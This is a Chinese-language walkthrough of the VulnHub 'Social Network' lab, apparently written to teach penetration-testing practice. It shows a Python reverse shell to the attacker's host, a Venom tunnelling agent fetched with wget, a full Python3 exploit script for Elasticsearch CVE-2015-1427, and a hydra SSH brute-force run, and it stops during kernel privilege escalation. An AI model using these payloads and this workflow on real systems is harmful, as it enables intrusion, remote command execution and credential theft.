靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
将靶机设置为NAT模式并启动。
主机发现&信息收集
靶机和 kali 在同一网段,使用nmap扫描网段主机,
nmap 192.168.50.1/24
其中192.168.50.130是本机,猜测192.168.50.135是靶机。
接着收集靶场信息:
nmap -sV -Pn -O 192.168.50.135
发现开放了22,5000端口,22是ssh,5000是python框架Werkzeug开发的HTTP服务,操作系统探测的是linux3.2-4.9。
访问5000端口,看下web服务,页面如下,测试没有什么突破点,仅仅可以输入输出
因为是http服务,猜测可能存在其他隐藏路径,使用 dirsearch 扫描下路径,扫描发现存在 /admin 路径,
发现这是一个管理员的页面,可以执行任意的代码,结合靶机环境尝试执行python脚本反弹shell。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.130",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
成功反弹shell,而且是root权限,但查看文件时发现了一个 Dockerfile 文件,并且这里的ip地址和我们的靶机不一致
怀疑可能为蜜罐或者docker容器,需要进一步确认。
-
查看 Dockerfile 文件 cat Dockerfile ,内容如下,判断可能是docker
-
进一步判断,查看根目录下是否有 dockerenv ,ls /.dockerenv ,发现存在,判断90%是docker容器
-
最后判断, cat /proc/1/cgroup ,如果 cgroup 内有 docker 文件判断就是docker容器。
判断依据: Linux 初始化进程时, PID=1 代表的是初始化进程的ID,如果1进程下面的 cgroup 文件包含docker文件,就说明这是个docker系统
发现/proc/1/cgroup下有关于docker容器的hash值,可以判断处于docker容器中,也就是处于内网,那么进行内网探测。
内网发现
因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长,这里使用循环代码进行探测。
使用linux发现一个网段就行,正常测试时要访问所有
//windows
//发现一个网段
for /l %i in (1,1,10) do ping -n 1 172.17.0.%i
//发现两个网段
for /l %i in (1,1,3) do for /l %j in (1,1,3) do ping -n 1 192.168.%i.%j
//linux
//发现一个网段
for i in $(seq 1 10);do ping -c 1 172.17.0.$i;done
//发现两个网段
for i in $(seq 1 10);do (for j in $(seq 1 10 );do ping -c 1
172.17.$i.$j;done)done
为了节省时间,这里只探测了1-10的ip地址
经测试,只有1和2回包,3是目前所在的靶机,那么内网共有三台主机,172.17.0.1、172.17.0.2、172.17.0.3
内网穿透
在发现了内网主机之后,需要对它们进行扫描,来判断各个主机上面的情况,但我们和内网默认是无法通信的,此时就需要做内网穿透,做个代理,让我们能够访问到内网主机。
使用 Venom 穿透工具来实现此功能,工具下载
kali的是x64的,那么在venom的目录下,输入,监听8888端口
./admin_linux_x64 -lport 8888
进到 Venmo 文件夹下,开启 http 服务:这一步是为了让靶机能够下载 agent 文件,哪个端口都行
python3 -m http.server 8080
通过拿到的 shell 把agent_linux_x64下载到靶机
wget http://192.168.50.130:8080/agent_linux_x64
客户端服务开启:
chmod +x agent_linux_x64
给予执行权限
./agent_linux_x64 -rhost 192.168.50.130 -rport 8888
这个要和刚才监听的端口一致
客户端设置好了之后, kali 上服务端就会收到链接,使用show命令去查找节点,然后使用goto去连接这个节点,同时另外启动一个侦听端口 socks 1080,方便我们链接进来
至此代理就已经设置好了。
代理利用
使用proxychains4工具去设置代理,访问靶机内网
修改 kali上的 /etc/proxychains4.conf 文件
vim /etc/proxychains.conf
修改为sock5 127.0.0.1 1080(venom开启的socks监听)
SOCKS4只支持TCP应用,而SOCKS5支持TCP和UDP应用
内网横向扩展
下面挂代理使用 nmap 进行扫描,
proxychains nmap -sT -sV -Pn -O 172.17.0.1
注:-sT:对TCP进行端口扫描。这里必须要加 -sT。
对 172.17.0.1 的扫描结果发现端口和服务信息都和前面 192.168.50.135 的信息一样,由此判断 172.17.0.1 是docker宿主机面向内网的ip,使用浏览器挂代理访问下
确定172.17.0.1就是宿主主机,也就是我们的目标。
再对另外的主机进行扫描,
proxychains nmap -sT -sV -Pn -O 172.17.0.2
发现开了一个9200端口,是 Elasticsearch 服务且版本较老,查看是否有漏洞和可以利用的脚本文件
searchsploit Elasticsearch
将第一个复制到当前路径下
searchsploit -m 36337.py ./
vim 36337.py 看下,发现是采用 python2 写的,我这里 python2 跑不了,于是改成了python3,代码如下:
#!/usr/bin/env python3
# coding: utf-8
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
__version__ = "20150309.1"
def banner():
print("""\x1b[1;32m
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" % (__version__))
def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" % (command)
try:
url = "http://%s:9200/_search?pretty" % (target)
r = requests.post(url=url, data=payload)
except Exception as e:
sys.exit("Exception Hit" + str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print(fuckingjson.strip())
def exploit(target):
print("{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something")
while True:
cmd = input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)
def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" % (args[0]))
exploit(target=args[1])
if __name__ == "__main__":
main(args=sys.argv)
proxychains python3 36337.py 172.17.0.2
成功拿到172.17.0.2 shell,简单搜索一下,发现当前目录下有passwords文件,查看,发现有用户和密码
密码md5加密了,在线解密一下,得到:
1337hack
1234test
1111pass
1234pass
1234jane
尝试使用 hydra对192.168.5.1进行 ssh 爆破
将账号和密码分别保存到两个文本,
hydra -L user.txt -P pass.txt ssh://192.168.50.135
发现 john 1337hack可以登录,ssh登录
成功登陆,尝试直接升级 root 用户失败,只是普通用户,后面还要本地提权。
本地提权
提权常用的是利用 linux 内核来提权,ssh登陆时可以看到内核版本,也可以使用命令 uname -a
查看内核版本
john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
搜索内核版本查找exp, searchsploit linux 3.13
选择 37292.c 来利用,将文件复制到当前文件夹下
searchsploit -m 37292.c ./
vim 看一下,发现代码末尾会调用gcc来编译 ofs-lib.c 文件,这个操作在靶机上是会报错的,因为靶机上没有 gcc 环境。